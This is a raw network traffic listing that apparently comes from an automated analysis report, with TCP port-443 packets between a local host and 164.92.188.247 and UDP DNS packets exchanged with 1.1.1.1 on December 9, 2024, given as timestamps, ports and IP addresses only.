Dec 9, 2024 18:43:16.899648905 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:16.899799109 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:16.899811029 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:16.899861097 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.007277012 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.007297039 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.007463932 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.007482052 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.007536888 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.029079914 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.029102087 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.029237986 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.029253006 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.029309988 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.050779104 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.050803900 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.050920010 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.050930977 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.050988913 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.070725918 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.070746899 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.070859909 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.070868969 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.070938110 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.131767035 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.131793976 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.131927967 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.131943941 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.131994009 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.152910948 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.152921915 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.153034925 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.153043985 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.153094053 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.206338882 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.206362963 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.206422091 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.206434011 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.206466913 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.206485033 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.219141960 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.219161034 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.219254017 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.219264030 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.219316959 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.233618975 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.233637094 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.233721018 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.233731031 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.233769894 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.237812042 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.237900019 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.237914085 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.237947941 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.238122940 CET	49834	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.238142014 CET	443	49834	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.280858040 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.280891895 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.281002998 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.281255960 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.281269073 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.318921089 CET	49827	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.318958998 CET	49827	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.319015980 CET	443	49827	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.320677996 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.320728064 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.320810080 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.321074009 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.321106911 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.321166039 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.321264029 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.321274042 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.321397066 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.321414948 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.386320114 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.386354923 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.386446953 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.386682034 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.386694908 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.784821033 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.784898996 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:17.784986973 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.785204887 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:17.785219908 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.212356091 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.212668896 CET	49838	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.212685108 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.213028908 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.213337898 CET	49838	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.213402987 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.213527918 CET	49838	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.259331942 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.421614885 CET	443	49827	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.421742916 CET	443	49827	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.421802044 CET	49827	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.422908068 CET	49827	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.422930002 CET	443	49827	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.566514969 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.566555977 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.566643000 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.566844940 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.566860914 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.659292936 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.659605026 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.659635067 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.659981012 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.660279036 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.660346985 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.660404921 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.707334042 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.725738049 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.726020098 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.726046085 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.726044893 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.726309061 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.726320028 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727184057 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727252007 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727415085 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727477074 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727530003 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727602959 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727797031 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727864027 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727921009 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727927923 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.727986097 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.727993011 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.767759085 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:18.767802000 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:18.767918110 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:18.768119097 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:18.768131971 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:18.781915903 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.781924009 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.789031029 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.789273977 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.789299011 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.790355921 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.790419102 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.790694952 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.790760994 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.790816069 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:18.790826082 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:18.841080904 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.209398985 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.209676027 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.209707022 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.210833073 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.210911036 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.211752892 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.211827993 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.211905956 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.211915016 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.238207102 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.238292933 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.238337040 CET	49838	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.238389969 CET	49838	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.238405943 CET	443	49838	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.258919001 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.574804068 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.605017900 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.606996059 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.607232094 CET	49841	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.607248068 CET	443	49841	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.610050917 CET	49847	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.610102892 CET	443	49847	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.612304926 CET	49847	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.612574100 CET	49847	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.612590075 CET	443	49847	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.630882978 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.652069092 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.652189016 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.652208090 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.653196096 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.656179905 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.656208038 CET	49840	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.656219006 CET	443	49840	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.658432961 CET	49848	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.658469915 CET	443	49848	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.660670996 CET	49848	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.660895109 CET	49848	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.660907984 CET	443	49848	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.903410912 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.903436899 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.903451920 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.903513908 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.903546095 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.903592110 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.947712898 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.947746992 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.947791100 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.947804928 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.947838068 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.947863102 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.947871923 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.947916985 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.948457956 CET	49839	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.948476076 CET	443	49839	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.951783895 CET	49849	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.951838017 CET	443	49849	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.951940060 CET	49849	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.952239990 CET	49849	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.952251911 CET	443	49849	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.969736099 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.972856045 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.972876072 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.973762989 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.973823071 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.974145889 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.974205017 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:19.974270105 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:19.974278927 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:20.024921894 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:20.490580082 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:20.490907907 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:20.490921974 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:20.491259098 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:20.491550922 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:20.491612911 CET	443	49846	172.217.21.36	192.168.2.17
Dec 9, 2024 18:43:20.536938906 CET	49846	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:43:21.023489952 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.023595095 CET	443	49845	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.023665905 CET	49845	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.028640032 CET	443	49847	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.060223103 CET	443	49848	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.080929995 CET	49847	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.112929106 CET	49848	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.336261034 CET	443	49849	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.383924007 CET	49849	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.614317894 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614346027 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614352942 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614387035 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614404917 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.614435911 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614451885 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.614461899 CET	443	49844	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.614510059 CET	49844	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.804486036 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804511070 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804539919 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804565907 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804595947 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804601908 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.804615021 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.804653883 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.804677010 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.841499090 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.841538906 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.841578007 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.841597080 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.841612101 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.841645002 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.893321037 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.893348932 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.893434048 CET	49842	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:43:21.893446922 CET	443	49842	164.92.188.247	192.168.2.17
Dec 9, 2024 18:43:21.893496990 CET	49842	443	192.168.2.17	164.92.188.247

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 18:41:14.082695961 CET	53	61486	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:14.149872065 CET	53	58659	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:14.777328014 CET	60619	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:14.777600050 CET	57620	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:15.799766064 CET	50882	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:15.799885988 CET	55685	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:16.002490044 CET	53	55685	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:16.003334045 CET	53	57620	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:16.005636930 CET	53	50882	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:16.005954981 CET	53	60619	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:17.020962954 CET	53	59491	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:18.040075064 CET	56509	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:18.040205956 CET	54010	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:18.315675974 CET	53	54010	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:18.315701008 CET	53	56509	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:18.654259920 CET	58940	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:18.654437065 CET	65221	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:18.793411970 CET	53	58940	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:18.793427944 CET	53	65221	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:24.047590971 CET	51368	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:24.047959089 CET	53043	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:24.919348955 CET	61523	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:24.919564009 CET	64435	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:25.039892912 CET	53	51368	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:25.040213108 CET	53	53043	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:25.057727098 CET	53	64435	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:25.057977915 CET	53	61523	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:27.521190882 CET	49585	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:27.521308899 CET	55628	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:27.521576881 CET	53381	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:27.521722078 CET	61178	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:27.661436081 CET	53	49585	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:27.661453009 CET	53	55628	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:27.661467075 CET	53	63737	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:27.661587954 CET	53	53381	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:27.666939974 CET	53	61178	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:29.781857967 CET	63382	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:29.781996012 CET	65403	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:29.918772936 CET	53	65403	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:29.919601917 CET	53	63382	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:31.313635111 CET	59037	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:31.313780069 CET	52365	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:31.323328972 CET	53350	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:31.323652029 CET	63761	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:41:31.526314974 CET	53	59037	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:31.526331902 CET	53	53350	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:31.527198076 CET	53	52365	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:31.528831959 CET	53	63761	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:33.913456917 CET	53	55200	1.1.1.1	192.168.2.17
Dec 9, 2024 18:41:52.784722090 CET	53	55540	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:11.055210114 CET	49763	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:11.055357933 CET	54953	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:11.375238895 CET	53	54953	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:11.376416922 CET	53	49763	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:12.775445938 CET	57315	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:12.775583029 CET	58032	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:13.108676910 CET	53	57315	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:13.109913111 CET	53	58032	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:13.951988935 CET	53	56527	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:15.434320927 CET	53	56510	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:15.961026907 CET	56834	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:15.962306023 CET	61225	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:15.967190027 CET	49742	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:15.967333078 CET	57650	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:15.968554020 CET	54300	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:15.968696117 CET	55065	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:16.100933075 CET	53	56834	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:16.101452112 CET	53	61225	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:16.105818033 CET	53	57650	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:16.107666969 CET	53	49742	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:16.510302067 CET	53	54300	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:16.523386955 CET	53	55065	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:19.308404922 CET	57621	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:19.308522940 CET	50605	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:19.724670887 CET	59961	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:19.724831104 CET	55164	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:19.734093904 CET	53	57621	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:19.734438896 CET	53	50605	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:19.862865925 CET	53	55164	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:19.866333008 CET	53	59961	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:22.060597897 CET	54499	53	192.168.2.17	1.1.1.1
